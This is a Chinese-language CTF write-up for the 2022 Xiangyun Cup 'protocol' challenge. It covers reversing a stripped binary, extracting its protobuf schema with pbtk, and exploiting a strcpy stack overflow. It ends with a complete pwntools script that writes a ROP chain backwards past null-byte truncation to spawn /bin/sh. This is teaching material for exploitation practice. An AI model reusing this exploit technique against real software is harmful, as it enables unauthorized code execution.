Protobuf pwn学习

Protobuf简介

Protobuf是一种语言无关、平台无关、可扩展的数据序列化格式。它的全名是Protocol Buffers,由Google开发并用于解决数据的编码、传、存储等问题。Protobuf是一种高效的数据压缩编码方式,可用于通信协议,数据存储等它由一种用于声明数据结构的语言组成,然后根据目标实现将其编译为代码或另一种结构,一旦定义了要处理的数据的数据结构之后,就可以利用 Protocol buffers 的代码生成工具生成相关的代码,甚至可以在无需重新部署程序的情况下更新数据结构只需使用 Protobuf 对数据结构进行一次描述,即可利用各种不同语言或从各种不同数据流中对你的结构化数据轻松读写。

下面通过一道例题来进一步学习一下

2022祥云杯 protocol

1

拖进IDA查字符串可以看到protobuf这样的字符串

这题是静态链接且去除了符号表逆向分析起来难度非常大,我们先导入sig

1
strings pwn | grep 'ubuntu'

2

20.04对应的glibc2.31去找相匹配的签名文件:https://github.com/push0ebp/sig-database

下载后放入所使用的IDA的/sig/pc目录下然后在IDA里加载进去

3

这样我们定位到主函数就稍微好逆一些了

5

漏洞点在strcpy函数,存在栈溢出,偏移为0x148和0x248,但是遇到\x00会截断

这种情况下,我们需要倒着一点一点写好ROP,**/bin/sh**的字符串我们可以在最后写入全局变量,只要记住对应地址即可,同时结束while循环调用ROP链。

安装Protobuf

https://github.com/protocolbuffers/protobuf/releases

下载并安装protobuf,需要root权限,尽量直接在root账户下操作

1
2
3
4
5
6
tar -xzvf protobuf-cpp-3.21.9.tar.gz
cd protobuf-3.21.9
./autogen.sh
./configure --prefix=/usr/local/protobuf
make -j8 && make install
ldconfig

如果执行./autogen.sh失败,可以执行这条命令:

sudo apt-get install -y autoconf automake libtool,然后再执行./autogen.sh就ok了

1
2
3
4
5
6
sudo vim /etc/profile
# 在/etc/profile文件中添加下面两行
export PATH=$PATH:/usr/local/protobuf/bin/
export PKG_CONFIG_PATH=/usr/local/protobuf/lib/pkgconfig/
# 然后执行
source /etc/profile
1
2
3
4
5
6
sudo vim /etc/ld.so.conf
# 在文件/etc/ld.so.conf中添加下面一行
/usr/local/protobuf/lib #(注意: 在新行处添加)

# 更改完成之后执行下面的命令
ldconfig

pbkt安装

1
2
3
4
5
6
7
8
9
10
11
12
13
14
sudo apt install python3-pip git openjdk-11-jre libqt5x11extras5 python3-pyqt5.qtwebengine python3-pyqt5

sudo pip3 install protobuf pyqt5 pyqtwebengine requests websocket-client

git clone https://github.com/marin-m/pbtk

cd pbtk

#./gui.py gui界面

pip install protobuf
#脚本可以在没有 GUI 的情况下独立使用:
#./extractors/from_binary.py [-h] input_file [output_dir]
./extractors/from_binary.py ./pwn ~/ppp

此时在/root目录下会生成ppp文件夹

点进去输入命令

1
2
3
pip install google
pip install protobuf
protoc --python_out=./ ./ctf.proto

将我们编译出的python文件作为库导入 import ctf_pb2

要和exp在同一目录下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
from pwn import *
import ctf_pb2
context.log_level = 'debug'
r = process('./pwn')

ret = 0x000000000040101A
pop_rax_ret = 0x00000000005bdb8a
pop_rdi_ret = 0x0000000000404982
pop_rsi_ret = 0x0000000000588BBE
pop_rdx_ret = 0x000000000040454F
pop_rcx_ret = 0x0000000000475DA3
syscall = 0x0000000000403C99



'''
b *0x407743
payload = flat([
pop_rdi_ret,"/bin/sh\x00",
pop_rsi_ret, 0,
pop_rdx_ret, 0,
pop_rax_ret, 59,
syscall
])
'''

def write(payload):
p = ctf_pb2.pwn()
p.username = b"admin"
p.password = payload
sd = p.SerializeToString()
r.sendafter("Login:", sd)
time.sleep(0.2)

write(b"b"*0x248 + b"b"*8*8 + p8(0x99) +p8(0x3c)+ p8(0x40)) # syscall = 0x0000000000403C99

for i in range(1,8):
write(b"b"*0x248 + b"b"*(8*8-i))
write(b"b"*0x248 + b"b"*8*7 + p8(59)) # 59

for i in range(1,8):
write(b"b"*0x248 + b"b"*(8*7-i))
write(b"b"*0x248 + b"b"*8*6 + p8(0x8a) +p8(0xdb)+ p8(0x5b)) # pop_rax_ret = 0x00000000005bdb8a

for i in range(1,8):
write(b"b"*0x248 + b"b"*(8*6-i))
write(b"b"*0x248 + b"b"*8*5) # 0

for i in range(1,8):
write(b"b"*0x248 + b"b"*(8*5-i))
write(b"b"*0x248 + b"b"*8*4 + p8(0xbe) + p8(0x8b) + p8(0x58)) # pop_rsi_ret = 0x0000000000588BBE

for i in range(1,8):
write(b"b"*0x248 + b"b"*(8*4-i))
write(b"b"*0x248 + b"b"*8*3) # 0

for i in range(1,8):
write(b"b"*0x248 + b"b"*(8*3-i))
write(b"b"*0x248 + b"b"*8*2 + p8(0x4f) + p8(0x45) + p8(0x40)) # pop_rdx_ret = 0x000000000040454F

for i in range(1,8):
write(b"b"*0x248 + b"b"*(8*2-i))
write(b"b"*0x248 + b"b"*8*1 + p8(0x6f) + p8(0xa3) + p8(0x81)) # binsh = 0x81a36f

for i in range(1,8):
write(b"b"*0x248 + b"b"*(8*1-i))
write(b"b"*0x248 + p8(0x82) + p8(0x49) + p8(0x40)) # pop_rdi_ret = 0x0000000000404982

p = ctf_pb2.pwn()
p.username = b"admin"
p.password = b"admin"
sd = p.SerializeToString()
# dbg()
# time.sleep(5)
r.sendafter("Login:", sd + b"\x00" + b"/bin/sh\x00")



r.interactive()

如果运行exp报错,可以尝试安装如下版本的protobuf

pip install protobuf==3.20.3

6